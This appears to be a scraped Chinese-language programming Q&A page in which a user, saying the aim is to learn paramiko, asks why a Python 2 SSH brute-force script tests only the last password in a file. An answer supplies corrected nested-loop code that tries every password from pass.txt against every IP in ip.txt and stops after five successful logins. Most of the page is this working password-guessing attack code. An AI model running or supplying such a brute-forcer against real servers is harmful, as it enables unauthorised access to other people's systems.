虽然循环使用文本文件,但只使用最后一行-Python2.x
为了理解paramiko模块,我一直在编写一个小型SSH暴力工具。但是,在浏览文本文件查看每个密码时,它只是测试文本文件中的最后一个密码。我是否使用了正确的循环?在这种情况下,我将如何使用for循环虽然循环使用文本文件,但只使用最后一行-Python2.x,python,loops,ssh,while-loop,paramiko,Python,Loops,Ssh,While Loop,Paramiko,为了理解paramiko模块,我一直在编写一个小型SSH暴力工具。但是,在浏览文本文件查看每个密码时,它只是测试文本文件中的最后一个密码。我是否使用了正确的循环?在这种情况下,我将如何使用for循环 import paramiko UserName = 'msfadmin' pass_file = 'pass.txt' ip_file = 'ip.txt' port = 22 Found = 0 pwd = open(pass_file, "r") ips = open(ip_file, "
import paramiko
UserName = 'msfadmin'
pass_file = 'pass.txt'
ip_file = 'ip.txt'
port = 22
Found = 0
pwd = open(pass_file, "r")
ips = open(ip_file, "r")
def attempt():
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
for line in ips.readlines():
ip = line.strip()
for line2 in pwd.readlines():
Passwords = line2.strip()
while Found != 5:
global UserName
global port
try:
ssh.connect(ip, port, username=UserName, password=Passwords)
except paramiko.AuthenticationException:
print '[-] %s:%s fail!' % (UserName, Passwords)
else:
print '[!] %s:%s is CORRECT!' % (UserName, Passwords)
您的两个for循环只需迭代每个对象,并每次更新
ip
和Password
变量,以便在完成后,变量引用循环中的最后一个值
然而,对于这些变量,您试图做什么还不清楚,所以我无法告诉您如何修复它。是否要为每个迭代运行脚本的其余部分一次?还是要创建所有元素的列表,然后迭代
for line in ips.readlines():
ip = line.strip()
for line2 in pwd.readlines():
Passwords = line2.strip()
您正在获取每一行,并将ip
和passwords
中以前的值替换为当前读取的值。相反,如果IP和密码的数量相对较少,您可以这样做
count = 0
for ip in ips:
for pwd in open(pass_file, "r"):
try:
ssh.connect(ip, port, username=UserName, password=pwd)
except paramiko.AuthenticationException:
print '[-] %s:%s fail!' % (UserName, pwd)
else:
print '[!] %s:%s is CORRECT for IP %s!' % (UserName, pwd, ip)
count += 1
if count == 5:
return
更新了我的原始帖子抱歉,如果我不够清楚,我只是尝试遍历pass.txt的每一行,并尝试使用IP.txt中的IP登录SSH服务器。我使用循环的原因是我希望它尝试连接,直到找到的IP等于5,这意味着它已成功登录到5台服务器,一旦发现等于5,循环将停止。